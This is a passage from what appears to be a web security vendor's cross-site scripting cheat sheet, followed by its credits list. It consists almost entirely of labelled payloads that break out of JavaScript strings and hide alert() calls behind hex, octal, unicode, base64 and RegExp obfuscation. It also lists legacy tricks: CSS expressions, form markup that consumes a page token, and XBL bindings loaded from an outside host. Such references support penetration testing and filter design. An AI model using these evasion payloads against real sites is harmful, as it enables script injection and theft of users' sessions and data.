Reflected XSS into a JavaScript string: hex escape sequence (globalThis)	<code>';globalThis[\x61\x6c\x65\x72\x74](globalThis[\x64\x6f\x63\x75\x6d\x65\x6e\x74][\x64\x6f\x6d\x61\x69\x6e]);//</code>
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)	<code>';window[\x65\x76\x61\x6c](window["\x61\x6c\x65\x72\x74"](window["\x61\x74\x6f\x62"]("WFNT")));//</code>

Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)	<code>';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"](self["\x61\x74\x6f\x62"]("WFNT"))');//</code>
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)	<code>';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"](this["\x61\x74\x6f\x62"]("WFNT"))');//</code>
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)	<code>';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"](top["\x61\x74\x6f\x62"]("WFNT"))');//</code>
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)	<code>';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//</code>
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)	<code>';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//</code>
Reflected XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)	<code>';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');//</code>
Reflected XSS into a JavaScript string: octal escape sequence (window)	<code>';window['\141\154\145\162\164']('\130\123\123');//</code>
Reflected XSS into a JavaScript string: octal escape sequence (self)	<code>';self['\141\154\145\162\164']('\130\123\123');//</code>
Reflected XSS into a JavaScript string: octal escape sequence (this)	<code>';this['\141\154\145\162\164']('\130\123\123');//</code>
Reflected XSS into a JavaScript string: octal escape sequence (top)	<code>';top['\141\154\145\162\164']('\130\123\123');//</code>
Reflected XSS into a JavaScript string: octal escape sequence (parent)	<code>';parent['\141\154\145\162\164']('\130\123\123');//</code>
Reflected XSS into a JavaScript string: octal escape sequence (frames)	<code>';frames['\141\154\145\162\164']('\130\123\123');//</code>
Reflected XSS into a JavaScript string: octal escape sequence (globalThis)	<code>';globalThis['\141\154\145\162\164']('\130\123\123');//</code>
Reflected XSS into a JavaScript string: unicode escape (window)	<code>';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//</code>
Reflected XSS into a JavaScript string: unicode escape (self)	<code>';self['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//</code>
Reflected XSS into a JavaScript string: unicode escape (this)	<code>';this['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//</code>
Reflected XSS into a JavaScript string: unicode escape (top)	<code>';top['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//</code>
Reflected XSS into a JavaScript string: unicode escape (parent)	<code>';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//</code>
Reflected XSS into a JavaScript string: unicode escape (frames)	<code>';frames['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//</code>
Reflected XSS into a JavaScript string: unicode escape (globalThis)	<code>';globalThis['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//</code>
Reflected XSS into a JavaScript string: RegExp source property (window)	<code>';window[/a!/.source+/ert/.source](/XSS/.source);//</code>

JavaScript entities used to work in Netscape Navigator	<code>XSS</code>
JavaScript stylesheets used to be supported by Netscape Navigator	<code><link href="xss.js" rel=stylesheet type="text/javascript"></code>
Button used to consume markup	<code><form><button name=x formaction=x>stealme</code>
IE9 select elements and plaintext used to consume markup	<code><form action=x><button>XSS</button><select name=x><option><plaintext> <script>token="supersecret"</script></code>
XBL Firefox only <= 2	<code><div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)"> <div style="\-mo\z- binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)"> <div style="-moz-binding: url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)"> <div style="-moz-binding: url(//businessinfo.co.uk/lab s/xbl/xbl.xml#xss)"></code>
XBL also worked in FF3.5 using data urls	<code></code>
CSS expressions <=IE7	<code><div style=xss:expression(alert(1))> <div style=xss:expression(1)-alert(1)> <div style=xss:expressio\6e(alert(1))> <div style=xss:expressio\006e(alert(1))> <div style=xss:expressio\00006e(alert(1))> <div style=xss:expressio\6e(alert(1))> <div style=xss:expressio&#x5c;6e(alert(1))></code>
In quirks mode IE allowed you to use = instead of :	<code><div style=xss:expression(alert(1))> <div style="color&#x3dred">test</div></code>
Behaviors for older modes of IE	<code>XSS</code>
Older versions of IE supported event handlers in functions	<code><script> function window.onload(){ alert(1); } </script> <script> function window: :onload(){ alert(1); } </script> <script> function window.location(){ } </script> <body> <script> function/**/document.body.innerHTML(){ </script> </body> <body> <script> function document.body.innerHTML(){ x = ""; } </script> </body></code>
GreyMagic HTML+time exploit (no longer works even in 5 docmode)	<code><HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS"> </BODY> </HTML></code>

Credits

Brought to you by [PortSwigger](#) lovingly constructed by [Gareth Heyes](#)

This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: [James Kettle](#), [Mario Heiderich](#), [Eduardo Vela](#), [Masato Kinugawa](#), [Filedescriptor](#), [LeverOne](#), [Ben Hayak](#), [Alex Inführ](#), [Mathias Karlsson](#), [Jan Horn](#), [Ian Hickey](#), [Gábor Molnár](#), [tsetnep](#), [Psych0tr1a](#), [Skyphire](#), [Abdulrhman Alqabandi](#), [brainpillow](#), [Kyo](#), [Yosuke Hasegawa](#), [White Jordan](#), [Algol](#), [jackmasa](#), [wpulog](#), [Bolk](#), [Robert Hansen](#), [David Lindsay](#), [Superhei](#), [Michal Zalewski](#), [Renaud Lifchitz](#), [Roman Ivanov](#), [Frederik Braun](#), [Krzysztof Kotowicz](#), [Giorgio Maone](#), [GreyMagic](#), [Marcus Niemi](#), [Soroush](#)

Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Arden, Michał Bentkowski, SØPAS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu

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